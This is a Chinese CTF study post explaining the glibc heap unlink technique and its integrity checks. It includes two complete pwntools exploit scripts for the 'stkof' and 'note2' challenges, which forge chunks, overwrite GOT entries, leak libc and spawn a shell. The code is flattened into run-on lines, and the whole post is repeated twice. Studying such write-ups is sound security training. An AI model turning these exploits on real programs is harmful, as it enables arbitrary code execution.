unlink利用 简单的讲就是把空闲的chunk合并,(如果真是这么简单就好了,苦笑)
unlink是一个函数,当一个chunk被free后,他会检测这个chunk上的物理相邻地址,如果空闲的话两个chunk就会合并,注意要释放的这个chunk大小得超过fastbins的大小(0x80)
确定相邻低地址堆是否为空闲堆看的是size的最后一位p,如果它为0时,表示上一个堆是空闲的,那就可以进行合并,两个堆要进行合并,那得知道这个合并的堆的物理地址才行,电脑并不能像人类一样肉眼就知道上一个堆的物理地址在那,他是通过这个堆的prev_size的大小确定的,prev_size是堆的前八个字节,如果p为0的话,那就记录这上个相邻堆的大小,当前堆地址减去prev_size就是上个堆的地址。
通过p和prev_size知道上个堆是空闲的且确定了堆的地址,那就可以对上一个堆进行ublink操作了。
就是链表操作,链表上p的下一个chunk是p->fd,上一个chunk是p->bk,操作目的就是把这个两个chunk连起来
令FD=p->fd,BK=p->bk
然后令FD->bk=BK;BK->fd=FD;
就把p摘下来了,仔细看起来并没有什么漏洞,ok,本文完
苦笑,就是看起来没有漏洞所以利用起来的时候就很麻烦,如果我们在将要free掉的chunk前面fake一个chunk的话,并且伪造成空闲的,那free的时候就会合并这个fakechunk,因为是我们伪造的,所以这个chunk的fd和bk都是可控的,然后就可以让他乱指了(并不是。
先假设unlink没有限制条件,用他来完成任一地址写,假设任意写的地址为addr,要写的内容为value,令p->fd=addr-0x18,BK=value,那unlink执行FD->bk=BK是就是*(addr-0x18+0x18)=value,就完成任意写了。
怎么可能这么简单,这是古老版本unlink的执行过程,现在的ublink都设置了限制条件,即FD->bk=p&BK->fd,如果不相等就会执行错误,这样就又看似无法利用漏洞了,但道高一尺魔高一丈,我们可以利用这个机制完成一个目标,即令储存chunk地址的指针指向这个指针的前三个位置处,比如储存chunk的指令是这样排布的,m,n,b,v,我们要ublink掉b的话,就可以让b指向m,也就是前十八个字节(64位系统),*(b)=&m,这样就会让堆指针没指到堆了。
出了上面的那个限制条件,unlink还有另一个限制条件
1 2 3 if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0 )) \ malloc_printerr ("corrupted size vs. prev_size" );
就是要unlink的堆的大小被两个地方记录,一个是自身的size另一个下一个物理相邻堆的prev_size,他会检查这个两个地方是否相等,所以伪造堆的时候还得构造prev_size,prev_size的地址就是当前堆加上自己的size就是下一个堆的地址,也是prev-size的地址。只要使(p+size)=size就行。
至于怎么完成这个目标,我觉得挺巧妙的,就是直接令FD->bk和BK->fd都指向p堆的指针,所以fd和bk不是储存p堆的地址,而是储存p堆指针的地址,令储存p堆的指针为m,这样执行FD->bk=BK;BK->fd=FD;就是这个样子
FD->bk=m=BK=(&m-0x10);;BK->fd=m=(&m-0x18) 最后m=(&m-0x18).再对p堆写入数据时,实际上就向&m-0x18处写入数据。okok,大工搞成(我觉得我讲的挺明白的了)
贴下wiki的例题stkof脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *context.log_level='debug' sh=process('./stkof' ) elf=ELF('./stkof' ) libc=ELF('./libc.so.6' ) p=0x602140 +16 def alloc (size ): sh.sendline('1' ) sh.sendline(str (size)) sh.recvuntil('OK\n' ) def edit (index,le,content ): sh.sendline('2' ) sh.sendline(str (index)) sh.sendline(str (le)) sh.send(content) sh.recvuntil('OK\n' ) def free (index ): sh.sendline('3' ) sh.sendline(str (index)) alloc(0x100 ) alloc(0x30 ) alloc(0x80 ) payload=p64(0 )+p64(0x20 )+p64(p-0x18 )+p64(p-0x10 )+p64(0x20 ) payload=payload.ljust(0x30 ,'a' ) payload+=p64(0x30 )+p64(0x90 ) edit(2 ,len (payload),payload) free(3 ) sh.recvuntil('OK\n' ) payload1='a' *0x8 +p64(elf.got['free' ])+p64(elf.got['puts' ]) payload1+=p64(elf.got['atoi' ]) edit(2 ,len (payload1),payload1) payload2=p64(elf.plt['puts' ]) edit(0 ,len (payload2),payload2) free(1 ) puts_addr=u64(sh.recv().split('\n' )[0 ].ljust(8 ,'\x00' )) print hex (puts_addr)libc_base=puts_addr-libc.symbols['puts' ] system=libc_base+libc.symbols['system' ] binsh_addr=binsh_addr = libc_base + next (libc.search('/bin/sh' )) payload3=p64(system) edit(2 ,len (payload3),payload3) sh.send(p64(binsh_addr)) sh.interactive()
下面是note2的脚本,和上面的例题差不多,都是绕过两个条件就行。布置好堆的情况就行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from pwn import *sh=process('./note2' ) context.log_level='debug' elf=ELF('./note2' ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) puts_got=elf.got['puts' ] puts_plt=elf.plt['puts' ] head=0x602120 def init (name,addr ): sh.recvuntil('Input your name:' ) sh.sendline(name) sh.recvuntil('Input your address:' ) sh.sendline(str (addr)) def alloc (size,content ): sh.sendline('1' ) sh.recvuntil('Input the length of the note content:(less than 128)' ) sh.sendline(str (size)) sh.recvuntil('Input the note content:' ) sh.sendline(content) def show (index ): sh.sendline('2' ) sh.recvuntil('Input the id of the note:\n' ) sh.sendline(str (index)) def edit (index,choice,content ): sh.sendline('3' ) sh.recvuntil('Input the id of the note:\n' ) sh.sendline(str (index)) sh.recvuntil('do you want to overwrite or append?[1.overwrite/2.append]' ) sh.sendline(str (choice)) sh.recvuntil('TheNewContents:' ) sh.sendline(content) sh.recvuntil('Edit note success!' ) def free (index ): sh.sendline('4' ) sh.recvuntil('Input the id of the note:\n' ) sh.sendline(str (index)) init('rootzh' ,0x12 ) payload='a' *0x8 +p64(0xa1 )+p64(head-0x18 )+p64(head-0x10 )+'a' *0x60 alloc(0x80 ,payload) alloc(0 ,'bbbbb' ) alloc(0x80 ,'ccccc' ) free(1 ) payload1='a' *0x10 +p64(0xa0 )+p64(0x90 ) alloc(0 ,payload1) free(2 ) payload2='a' *0x18 +p64(elf.got['atoi' ]) edit(0 ,1 ,payload2) show(0 ) sh.recvuntil('Content is ' ) atoi_addr=u64(sh.recvuntil('\n' ,drop=True ).ljust(8 ,'\x00' )) print hex (atoi_addr)libc_base=atoi_addr-libc.symbols['atoi' ] print hex (libc_base)system=libc_base+libc.symbols['system' ] binsh=libc_base+next (libc.search('/bin/sh' )) payload3=p64(system) print hex (system)edit(0 ,1 ,payload3) sh.recvuntil('option--->>' ) sh.sendline(p64(binsh)) sh.interactive()
unlink利用 简单的讲就是把空闲的chunk合并,(如果真是这么简单就好了,苦笑)
unlink是一个函数,当一个chunk被free后,他会检测这个chunk上的物理相邻地址,如果空闲的话两个chunk就会合并,注意要释放的这个chunk大小得超过fastbins的大小(0x80)
确定相邻低地址堆是否为空闲堆看的是size的最后一位p,如果它为0时,表示上一个堆是空闲的,那就可以进行合并,两个堆要进行合并,那得知道这个合并的堆的物理地址才行,电脑并不能像人类一样肉眼就知道上一个堆的物理地址在那,他是通过这个堆的prev_size的大小确定的,prev_size是堆的前八个字节,如果p为0的话,那就记录这上个相邻堆的大小,当前堆地址减去prev_size就是上个堆的地址。
通过p和prev_size知道上个堆是空闲的且确定了堆的地址,那就可以对上一个堆进行ublink操作了。
就是链表操作,链表上p的下一个chunk是p->fd,上一个chunk是p->bk,操作目的就是把这个两个chunk连起来
令FD=p->fd,BK=p->bk
然后令FD->bk=BK;BK->fd=FD;
就把p摘下来了,仔细看起来并没有什么漏洞,ok,本文完
苦笑,就是看起来没有漏洞所以利用起来的时候就很麻烦,如果我们在将要free掉的chunk前面fake一个chunk的话,并且伪造成空闲的,那free的时候就会合并这个fakechunk,因为是我们伪造的,所以这个chunk的fd和bk都是可控的,然后就可以让他乱指了(并不是。
先假设unlink没有限制条件,用他来完成任一地址写,假设任意写的地址为addr,要写的内容为value,令p->fd=addr-0x18,BK=value,那unlink执行FD->bk=BK是就是*(addr-0x18+0x18)=value,就完成任意写了。
怎么可能这么简单,这是古老版本unlink的执行过程,现在的ublink都设置了限制条件,即FD->bk=p&BK->fd,如果不相等就会执行错误,这样就又看似无法利用漏洞了,但道高一尺魔高一丈,我们可以利用这个机制完成一个目标,即令储存chunk地址的指针指向这个指针的前三个位置处,比如储存chunk的指令是这样排布的,m,n,b,v,我们要ublink掉b的话,就可以让b指向m,也就是前十八个字节(64位系统),*(b)=&m,这样就会让堆指针没指到堆了。
出了上面的那个限制条件,unlink还有另一个限制条件
1 2 3 if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0 )) \ malloc_printerr ("corrupted size vs. prev_size" );
就是要unlink的堆的大小被两个地方记录,一个是自身的size另一个下一个物理相邻堆的prev_size,他会检查这个两个地方是否相等,所以伪造堆的时候还得构造prev_size,prev_size的地址就是当前堆加上自己的size就是下一个堆的地址,也是prev-size的地址。只要使(p+size)=size就行。
至于怎么完成这个目标,我觉得挺巧妙的,就是直接令FD->bk和BK->fd都指向p堆的指针,所以fd和bk不是储存p堆的地址,而是储存p堆指针的地址,令储存p堆的指针为m,这样执行FD->bk=BK;BK->fd=FD;就是这个样子
FD->bk=m=BK=(&m-0x10);;BK->fd=m=(&m-0x18) 最后m=(&m-0x18).再对p堆写入数据时,实际上就向&m-0x18处写入数据。okok,大工搞成(我觉得我讲的挺明白的了)
贴下wiki的例题stkof脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *context.log_level='debug' sh=process('./stkof' ) elf=ELF('./stkof' ) libc=ELF('./libc.so.6' ) p=0x602140 +16 def alloc (size ): sh.sendline('1' ) sh.sendline(str (size)) sh.recvuntil('OK\n' ) def edit (index,le,content ): sh.sendline('2' ) sh.sendline(str (index)) sh.sendline(str (le)) sh.send(content) sh.recvuntil('OK\n' ) def free (index ): sh.sendline('3' ) sh.sendline(str (index)) alloc(0x100 ) alloc(0x30 ) alloc(0x80 ) payload=p64(0 )+p64(0x20 )+p64(p-0x18 )+p64(p-0x10 )+p64(0x20 ) payload=payload.ljust(0x30 ,'a' ) payload+=p64(0x30 )+p64(0x90 ) edit(2 ,len (payload),payload) free(3 ) sh.recvuntil('OK\n' ) payload1='a' *0x8 +p64(elf.got['free' ])+p64(elf.got['puts' ]) payload1+=p64(elf.got['atoi' ]) edit(2 ,len (payload1),payload1) payload2=p64(elf.plt['puts' ]) edit(0 ,len (payload2),payload2) free(1 ) puts_addr=u64(sh.recv().split('\n' )[0 ].ljust(8 ,'\x00' )) print hex (puts_addr)libc_base=puts_addr-libc.symbols['puts' ] system=libc_base+libc.symbols['system' ] binsh_addr=binsh_addr = libc_base + next (libc.search('/bin/sh' )) payload3=p64(system) edit(2 ,len (payload3),payload3) sh.send(p64(binsh_addr)) sh.interactive()
下面是note2的脚本,和上面的例题差不多,都是绕过两个条件就行。布置好堆的情况就行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from pwn import *sh=process('./note2' ) context.log_level='debug' elf=ELF('./note2' ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) puts_got=elf.got['puts' ] puts_plt=elf.plt['puts' ] head=0x602120 def init (name,addr ): sh.recvuntil('Input your name:' ) sh.sendline(name) sh.recvuntil('Input your address:' ) sh.sendline(str (addr)) def alloc (size,content ): sh.sendline('1' ) sh.recvuntil('Input the length of the note content:(less than 128)' ) sh.sendline(str (size)) sh.recvuntil('Input the note content:' ) sh.sendline(content) def show (index ): sh.sendline('2' ) sh.recvuntil('Input the id of the note:\n' ) sh.sendline(str (index)) def edit (index,choice,content ): sh.sendline('3' ) sh.recvuntil('Input the id of the note:\n' ) sh.sendline(str (index)) sh.recvuntil('do you want to overwrite or append?[1.overwrite/2.append]' ) sh.sendline(str (choice)) sh.recvuntil('TheNewContents:' ) sh.sendline(content) sh.recvuntil('Edit note success!' ) def free (index ): sh.sendline('4' ) sh.recvuntil('Input the id of the note:\n' ) sh.sendline(str (index)) init('rootzh' ,0x12 ) payload='a' *0x8 +p64(0xa1 )+p64(head-0x18 )+p64(head-0x10 )+'a' *0x60 alloc(0x80 ,payload) alloc(0 ,'bbbbb' ) alloc(0x80 ,'ccccc' ) free(1 ) payload1='a' *0x10 +p64(0xa0 )+p64(0x90 ) alloc(0 ,payload1) free(2 ) payload2='a' *0x18 +p64(elf.got['atoi' ]) edit(0 ,1 ,payload2) show(0 ) sh.recvuntil('Content is ' ) atoi_addr=u64(sh.recvuntil('\n' ,drop=True ).ljust(8 ,'\x00' )) print hex (atoi_addr)libc_base=atoi_addr-libc.symbols['atoi' ] print hex (libc_base)system=libc_base+libc.symbols['system' ] binsh=libc_base+next (libc.search('/bin/sh' )) payload3=p64(system) print hex (system)edit(0 ,1 ,payload3) sh.recvuntil('option--->>' ) sh.sendline(p64(binsh)) sh.interactive()